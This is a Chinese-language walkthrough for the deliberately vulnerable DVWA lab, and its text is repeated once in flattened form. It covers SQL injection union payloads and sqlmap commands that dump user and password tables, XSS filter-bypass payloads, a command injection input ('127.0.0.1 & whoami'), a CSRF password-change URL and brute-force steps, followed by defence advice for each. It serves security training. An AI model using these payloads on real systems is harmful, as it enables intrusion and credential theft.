DVWA解题步骤
字数 2608 2025-08-12 11:34:41

DVWA漏洞利用与防御全面指南

SQL注入漏洞

Low级别

漏洞分析

  • 未对用户输入的id参数进行任何过滤
  • 直接拼接SQL语句:SELECT first_name, last_name FROM users WHERE user_id = '$id'

手工注入步骤

  1. 判断闭合方式:输入1'触发错误,确定为单引号闭合
  2. 猜字段数:使用1' order by 3#测试,发现2列时回显正常
  3. 判断回显位置-1' union select 1,2#
  4. 爆破数据库信息
    • 表名:-1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
    • 列名:-1' union select group_concat(column_name),2 from information_schema.columns where table_name='users'#
    • 字段:-1' union select user,password from users#

SQLMap自动化

python sqlmap.py -u "http://127.0.0.1/sqli/less-1/?id=1" --cookie="PHPSESSID=xxx" --batch --dbs
python sqlmap.py -u "http://127.0.0.1/sqli/less-1/?id=1" --cookie="PHPSESSID=xxx" --batch -D "dvwa" --tables
python sqlmap.py -u "http://127.0.0.1/sqli/less-1/?id=1" --cookie="PHPSESSID=xxx" --batch -D "dvwa" -T "users" --columns

Medium级别

变化

  • 使用POST方式传参
  • 使用mysqli_real_escape_string过滤
  • 闭合方式变为数字型:WHERE user_id = $id

注入方法

  1. 抓包修改POST参数
  2. 测试数字型注入:id=1 and 1=1--+ vs id=1 and 1=2--+
  3. 后续步骤与Low级别类似

High级别

变化

  • 使用SESSION传参
  • 添加LIMIT 1限制
  • 需要二阶注入

SQLMap特殊参数

python sqlmap.py -u "session-input.php" --data="id=1&Submit=Submit" --cookie="xxx" --second-url "vulnerabilities/sqli/" --dbs --batch

Impossible级别

防御措施

  1. 使用PDO预编译:preparebindParam
  2. 严格类型检查is_numeric
  3. 限制返回结果数量rowCount() == 1
  4. 添加Anti-CSRF token

XSS漏洞

Reflected XSS

Low级别

  • 直接输出未过滤的用户输入:echo '<pre>Hello ' . $_GET['name']
  • Payload: <script>alert(1)</script>

Medium级别

  • 过滤<script>标签:str_replace('<script>', '', $name)
  • 绕过方法:
    • 大小写:<Scipt>alert(1)</Script>
    • 双写:<scr<script>ipt>alert(/xss/)</script>

High级别

  • 使用正则过滤:preg_replace('/<script>/i', '', $name)
  • 使用其他标签:``

Impossible级别

  • 使用htmlspecialchars转义特殊字符

Stored XSS

Low级别

  • 直接存储未过滤的用户输入
  • Payload同Reflected XSS

Medium级别

  • 过滤<script>标签
  • 绕过方法同Reflected XSS

High级别

  • 对message使用strip_tagshtmlspecialchars
  • 对name使用正则过滤<script>
  • 使用非script标签:``

JavaScript攻击

Low级别

  • Token生成方式:md5(rot13(phrase))
  • 解决方法:控制台执行generate_token()后修改token值

Medium级别

  • Token生成逻辑在外部JS文件中
  • 控制台执行do_elsesomething("XX")

High级别

  • 混淆的JS代码,需还原后分析
  • Token由三部分组成:
    1. token_part_1("ABCD", 44)
    2. token_part_2("XX")(300ms延迟)
    3. token_part_3()(点击时触发)

盲注(SQL Blind)

Low/Medium/High级别

  • 与普通SQL注入类似,但无显式错误回显
  • 使用SQLMap时参数相同
  • High级别需使用--second-url参数

暴力破解

Low级别

  • 无任何防护措施
  • 直接使用Burp Intruder爆破

Medium级别

  • 使用mysql_real_escape_string过滤,不影响爆破

High级别

  • 添加token验证
  • 爆破时需:
    1. 设置递归搜索获取新token
    2. 将token值复制到初始payload

Impossible级别

  • 失败登录次数限制(3次后锁定15分钟)
  • 使用PDO防御SQL注入
  • 记录失败登录次数和时间

命令注入

Low级别

  • 直接拼接用户输入执行命令:shell_exec('ping ' . $target)
  • 可注入:127.0.0.1 & whoami

Medium级别

  • 过滤&&;
  • 可使用管道符:|

High级别

  • 过滤更多字符,但管道符后加空格可绕过

Impossible级别

  • 严格验证IP格式(4个数字用点分隔)
  • 类似白名单机制

CSRF漏洞

Low级别

  • GET方式修改密码,可直接构造URL:
    http://example.com/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change

Medium级别

  • 检查Referer头
  • 伪造Referer绕过

High级别

  • 使用Anti-CSRF token
  • 使用Burp插件获取和自动更新token

Impossible级别

  • 要求输入原密码
  • 使用PDO预编译
  • 使用CSRF token

防御建议

  1. SQL注入

    • 使用PDO预编译和参数绑定
    • 严格输入验证(类型、长度、格式)
    • 最小权限原则
  2. XSS

    • 输出编码(htmlspecialchars)
    • 内容安全策略(CSP)
    • 输入过滤和净化
  3. CSRF

    • 使用随机token
    • 检查Referer头
    • 关键操作需二次确认
  4. 命令注入

    • 避免直接执行用户输入
    • 使用白名单验证
    • 使用特定API替代命令执行
  5. 暴力破解

    • 账户锁定机制
    • 验证码
    • 登录延迟
    • 强密码策略
DVWA漏洞利用与防御全面指南 SQL注入漏洞 Low级别 漏洞分析 : 未对用户输入的 id 参数进行任何过滤 直接拼接SQL语句: SELECT first_name, last_name FROM users WHERE user_id = '$id' 手工注入步骤 : 判断闭合方式 :输入 1' 触发错误,确定为单引号闭合 猜字段数 :使用 1' order by 3# 测试,发现2列时回显正常 判断回显位置 : -1' union select 1,2# 爆破数据库信息 : 表名: -1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()# 列名: -1' union select group_concat(column_name),2 from information_schema.columns where table_name='users'# 字段: -1' union select user,password from users# SQLMap自动化 : Medium级别 变化 : 使用POST方式传参 使用 mysqli_real_escape_string 过滤 闭合方式变为数字型: WHERE user_id = $id 注入方法 : 抓包修改POST参数 测试数字型注入: id=1 and 1=1--+ vs id=1 and 1=2--+ 后续步骤与Low级别类似 High级别 变化 : 使用SESSION传参 添加 LIMIT 1 限制 需要二阶注入 SQLMap特殊参数 : Impossible级别 防御措施 : 使用PDO预编译: prepare 和 bindParam 严格类型检查 is_numeric 限制返回结果数量 rowCount() == 1 添加Anti-CSRF token XSS漏洞 Reflected XSS Low级别 : 直接输出未过滤的用户输入: echo '<pre>Hello ' . $_GET['name'] Payload: <script>alert(1)</script> Medium级别 : 过滤 <script> 标签: str_replace('<script>', '', $name) 绕过方法: 大小写: <Scipt>alert(1)</Script> 双写: <scr<script>ipt>alert(/xss/)</script> High级别 : 使用正则过滤: preg_replace('/<script>/i', '', $name) 使用其他标签: `` Impossible级别 : 使用 htmlspecialchars 转义特殊字符 Stored XSS Low级别 : 直接存储未过滤的用户输入 Payload同Reflected XSS Medium级别 : 过滤 <script> 标签 绕过方法同Reflected XSS High级别 : 对message使用 strip_tags 和 htmlspecialchars 对name使用正则过滤 <script> 使用非script标签: `` JavaScript攻击 Low级别 : Token生成方式: md5(rot13(phrase)) 解决方法:控制台执行 generate_token() 后修改token值 Medium级别 : Token生成逻辑在外部JS文件中 控制台执行 do_elsesomething("XX") High级别 : 混淆的JS代码,需还原后分析 Token由三部分组成: token_part_1("ABCD", 44) token_part_2("XX") (300ms延迟) token_part_3() (点击时触发) 盲注(SQL Blind) Low/Medium/High级别 : 与普通SQL注入类似,但无显式错误回显 使用SQLMap时参数相同 High级别需使用 --second-url 参数 暴力破解 Low级别 : 无任何防护措施 直接使用Burp Intruder爆破 Medium级别 : 使用 mysql_real_escape_string 过滤,不影响爆破 High级别 : 添加token验证 爆破时需: 设置递归搜索获取新token 将token值复制到初始payload Impossible级别 : 失败登录次数限制(3次后锁定15分钟) 使用PDO防御SQL注入 记录失败登录次数和时间 命令注入 Low级别 : 直接拼接用户输入执行命令: shell_exec('ping ' . $target) 可注入: 127.0.0.1 & whoami Medium级别 : 过滤 && 和 ; 可使用管道符: | High级别 : 过滤更多字符,但管道符后加空格可绕过 Impossible级别 : 严格验证IP格式(4个数字用点分隔) 类似白名单机制 CSRF漏洞 Low级别 : GET方式修改密码,可直接构造URL: http://example.com/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change Medium级别 : 检查Referer头 伪造Referer绕过 High级别 : 使用Anti-CSRF token 使用Burp插件获取和自动更新token Impossible级别 : 要求输入原密码 使用PDO预编译 使用CSRF token 防御建议 SQL注入 : 使用PDO预编译和参数绑定 严格输入验证(类型、长度、格式) 最小权限原则 XSS : 输出编码(htmlspecialchars) 内容安全策略(CSP) 输入过滤和净化 CSRF : 使用随机token 检查Referer头 关键操作需二次确认 命令注入 : 避免直接执行用户输入 使用白名单验证 使用特定API替代命令执行 暴力破解 : 账户锁定机制 验证码 登录延迟 强密码策略